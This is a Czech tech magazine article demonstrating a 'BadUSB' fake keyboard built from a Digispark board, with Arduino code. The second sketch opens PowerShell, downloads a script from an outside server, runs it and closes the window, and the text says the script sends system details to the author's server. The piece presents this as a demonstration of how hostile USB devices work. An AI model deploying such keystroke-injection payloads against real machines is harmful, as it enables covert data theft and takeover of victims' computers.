Vyrobili jsme z mikropočítače za dolar záškodnickou klávesnici. Je to snadné

  • Představte si klávesnici, která po připojení spustí malware
  • Není to nic složitého, stačí mikročip za dolar
  • Bude posílat počítači trošku jiné stisky kláves

Na Živě.cz jsme už mnohokrát psali o nejrůznějších upravených klávesnicích, myších a fleškách. Zatímco v některých byl schovaný keylogger, který zaznamenával každý tisk klávesnice a vše později v dávkách posílal na záškodníkův web, zákeřná USB fleška po připojení k počítači zase vyslala do jeho obvodů natolik silný elektrický výboj, že to v lepším případě odnesla jen sběrnice a v tom horším celá základní deska.

Dnes do tohoto světa trošku nahlédneme, vyzkoušíme si totiž, jak by mohla fungovat záškodnická klávesnice, která po připojení k PC způsobí pěknou neplechu. Nebudete k tomu potřebovat ani doktorát z MIT, ani několikaměsíční studium hackerských manuálů, naše záškodnická klávesnice totiž nebude zneužívat žádných zranitelností ovladačů a operačního systému, ale bude jen dělat to, k čemu je určená.

Mikropočítač, který se vejde do klávesnice a může stáhnout třeba virus

Naše fiktivní klávesnice po připojení k USB vyšle do systému vlastní stisky kláves. Provede tedy něco, před čím vás nezachrání žádný antivirový program, protože bude provádět naprosto legitimní úkony. Pokud by taková klávesnice vyslala sérii stisků kláves, které systému řeknou, aby smazal všechna vaše data, tak se tak i stane, protože k tomu máte patřičná práva a operační systém samozřejmě nemůže tušit, že stisky nevytvářejí vaše vlastní prsty, ale drobný mikropočítač velikosti poštovní známky.

Klepněte pro větší obrázek
Drobná USB mašinka Digispark, jejíž klon dnes použijeme pro simulování stisků kláves

Toto všechno zvládnou nejrůznější modely Arduin a dalších mikropočítačů a vývojové prostředí Arduina na to pamatuje vlastními knihovnami, které se postarají o to, aby bylo posílání jednotlivých stisků kláves co nejjednodušší.

Destičky Arduina jsou však pro toto použití docela velké a do klávesnice by se snad vešly jen jeho nejmenší varianty. Vývojové prostředí Arduina naštěstí podporuje celou škálu mikrokontrolerů a jedním z nich je i maličký Digispark s jednoduchým osmibitovým čipem Attiny85.

Klepněte pro větší obrázek Klepněte pro větší obrázek
Mozkem Digisparku je drobný osmibitový čip ATtiny85 od Atmelu (dnes Microchipu). Má 8 kB paměti a několik málo pinů, pro naše účely je ale naprosto dostačující.

Digispark začínal jako projekt dolarového mikrokontroleru na Kickstarteru, cena toho oficiálního se dnes ale pohybuje až okolo osmi. Naštěstí jsou eBay a další e-shopy plné laciných klonů, takže z Číny a s bezplatným poštovným jej získáte opravdu od těch cirka 30 korun za kus.

Falešná klávesnice ovládá operační systém

Tak a teď konečně začne ta legrace. S Digisparkem můžete v prostředí Arduina použít vestavěnou knihovnu DigiKeyboard a její funkce pro vyslání stisků jak nejrůznějších systémových kláves a jejich kombinací, tak i souvislého textu. A kdyby to nestačilo, stačí nahlédnout na webu usb.org do oficiální dokumentace pro protokol HID, kde najdete kódy jednotlivých kláves (PDF, kapitola 10).

Klepněte pro větší obrázek
Po připojení Digisparku se v otevřeném Wordu napsalo vtipné hlášení. Stačí k tomu jednoduchý program na pár řádků.

Suma sumárum, droboučkou destičku snadno naprogramujete tak, aby vyslala do počítače kód libovolné standardní klávesy.

Jak by tedy mohl v prostředí Arduina vypadat kód programu, který po připojení Digisparku do USB pošle systému sekvenci znaku „Ahoj, já jsem zlý virus?“ S využitím zmíněné knihovny by byl naprosto primitivní:

// Pouzij knihovnu DigiKeyboard
#include "DigiKeyboard.h"

// Funkce setup se zpracuje po startu mikropocitace, tedy po pripojeni k USB
void setup() {
 //Posli do pocitace text, ktery se zobrazi, pokud bude mit fokus nejake textove pole. Treba Word. 
 DigiKeyboard.print("Ahoj, ja jsem zly virus!");
}

// Smycka loop je prazdna. Kdybych vlozil prikaz do ni, bude se text vypisovat stale dokola.
void loop() {}

Když byste tedy měli otevřený třeba Word a připojili Digispark, do textového pole se napíše ono hrozivé sdělení a drobným vtípkem vyděsíte třeba kolegu v práci (zvláště pokud příkaz k vypsání textu vložíte do smyčky loop, čili se bude opakovat stále dokola, než si oběť všimne, že má v USB připojené jakési neznámé zařízení).

Falešná klávesnice stáhne skript, spustí jej a odešle útočníkovi zajímavé informace o počítači

Pokud bychom chtěli naší virtuální klávesnici opravdu zneužít, nepsala by pochopitelně pozdravy, ale namísto toho by si otevřela třeba příkazovou řádku mocného PowerShellu a ovládla by celý počítač – zejména v případě, pokud by měl právě přihlášený uživatel administrátorská práva.

Anebo by falešná klávesnice odeslala na server hromadu informací o aktuálním systému. Případný útočník by se pak na základě popisu rozhodl, jestli je vaše mašina vhodný terč.

Pojďme si tedy ukázat druhý stručný kód, který už do hry zapojí i funkční klávesy:

#include "DigiKeyboard.h"

void setup() {
 // Posli kombinaci WIN+R k otevreni dialogu pro spusteni lib. programu a pockej 500 ms
 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(500);
 
 // Napis powershell a pockej 500 ms
 DigiKeyboard.print("powershell"); delay(500);

 // Stiskni ENTER pro potvrzeni a pockej 1 s
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(1000);

 // Predpokladam, ze uz je konzole PowerShellu spustena, a tak do ni poslu sekvenci znaku pro stazeni skriptu z internetu
 DigiKeyboard.print("wget \"https://kloboukuv.cloud/bobikospion.ps1\" -outfile \"app.ps1\"");

 // Stiskni ENTER a pockej 2 s, aby se skript stacil stahnout
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(2000);

 // Spust stazeny skript, stiskni ENTER a pockej 4 s, nez se zpracuje
 DigiKeyboard.print(".\\app.ps1"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(4000);

 // Zavri okno PowerShellu
 DigiKeyboard.print("exit"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

Program nejprve pošle Windows klávesovou zkratku WIN+R (KEY_R a MOD_GUI_LEFT, tedy levá systémová klávesa, ať už je to levý WIN v případě Windows, nebo alternativy u dalších operačních systémů).

Poté program počká 500 ms, aby operační systém stihl otevřít dialog pro spuštění programu, a následně do něj vyplní powershell a odešle stisk klávesy ENTER (KEY_ENTER).

Program počká další sekundu, než se otevře textové okno PowerShellu, načež do něj pošle příkaz ke stažení zákeřného skriptu ze serveru. Předpokládejme, že je počítač online a těch pár kilobajtů stáhne během okamžiku, čili počkáme dvě sekundy a stažený skript spustíme.

Skript získá hromadu zajímavých údajů o systému a následně je odešle na můj webový server. Dokonáno jest. Trošku jsem si to ale ulehčil a pro přehlednost dal PowerShellu dopředu právo spouštět cizí skripty (stažené z webu). Jelikož je však většina domácích uživatelů svých vlastních laptopů i velkých počítačů zpravidla lokálními administrátory, mohl bych si o toto právo požádat ze záškodnické klávesnice – heslo nepotřebuji, jen explicitní souhlas.

Klepněte pro větší obrázek
Skript pro PowerShell získá základní informace o systému včetně lokální IP adresy, diskových oddílech, verzi OS a uživateli, vše odešle na hypotetický server záškodníka – v tomto případě na ten můj. Celé to bude trvat několik sekund, během kterých může útočník balamutit majitele počítače, že se třeba instalují ovladače čerstvě připojené klávesnice.

A to je celé. Kdybych útočil na mašiny s Linuxem, mohl bych sekvenci příkazů upravit naopak takovým způsobem, aby se spustil třeba skript v Pythonu, který se pokusí zapojit počítač skrze hackerský Kali Linux a balík nástrojů Metasploit do botnetu, to už je ale zase téma na jiný článek.

Poselstvím toho dnešního byla demonstrace, jak principiálně mohou fungovat některá zákeřná USB HID zařízení, která pro svoji práci mohou využívat i nejrůznější státní bezpečnostní a zpravodajské agentury. Ostatně podle nedávno zveřejněných dokumentů Wikileaks podobné útoky používá i CIA.

Témata článku: Pojďme programovat elektroniku, Programování, Arduino, Hacking, Únik dat, Stavebnice, Programování pro děti, C++, Delay, Print, Usb klávesnice, Loop, Falešná klávesnice, Kali, Celá automobilka

24 komentářů

Nejnovější komentáře

  • El Vigo 16. 3. 2017 16:50:16
    jde na tom GTA ?
  • ooooooooooo 16. 3. 2017 14:21:50
    Powershell potrebuje k zajimavym akcim opravneni, takze ho musite spustit...
  • ce_hun 16. 3. 2017 10:33:09
    Bude aj navod pre android? Chcem dat priatelke do telefonu :-P
Určitě si přečtěte

11 tipů, jak efektivně a přesně sledovat počasí pomocí internetu

11 tipů, jak efektivně a přesně sledovat počasí pomocí internetu

** Sledujte počasí z více zdrojů a podrobněji, přesněji tak určíte, jaké počasí vás potká na dovolené ** Na webu najdete hromadu pokročilých předpovědí počasí, ale i specializované meteorologické služby ** Vybrali jsme 14 služeb na počasí, které se vám můžou hodit

23.  6.  2017 | Jakub Čížek | 19

Nejlepší program pro střih videa na doma: 9 video editorů, ze kterých si vyberete

Nejlepší program pro střih videa na doma: 9 video editorů, ze kterých si vyberete

** Pokročilé střihové programy pro neprofesionální využití stojí do 3 000 Kč, jsou ale i zdarma ** Podpora 4K, hromada editačních funkcí a efektové filtry jsou samozřejmostí ** Vybrali jsme 9 nejzajímavějších programů pro nejrozšířenější operační systém Windows

25.  6.  2017 | Stanislav Janů | 32

Herní počítač vs. Xbox One X: Kvalita obrazu není všechno

Herní počítač vs. Xbox One X: Kvalita obrazu není všechno

** Nový Xbox One X slibuje hraní ve 4K s HDR za 13 tisíc korun ** Aby stejnou kvalitu obrazu zvládl počítač, museli byste za něj dát minimálně dvakrát tolik ** Přesto herní počítače stále svůj smysl mají

24.  6.  2017 | Tomáš Holčík | 58


Aktuální číslo časopisu Computer

Bojujeme proti Fake News

Dva velké testy: fotoaparáty a NASy

Co musíte vědět o změně evropského roamingu

Radíme s výběrem základní desky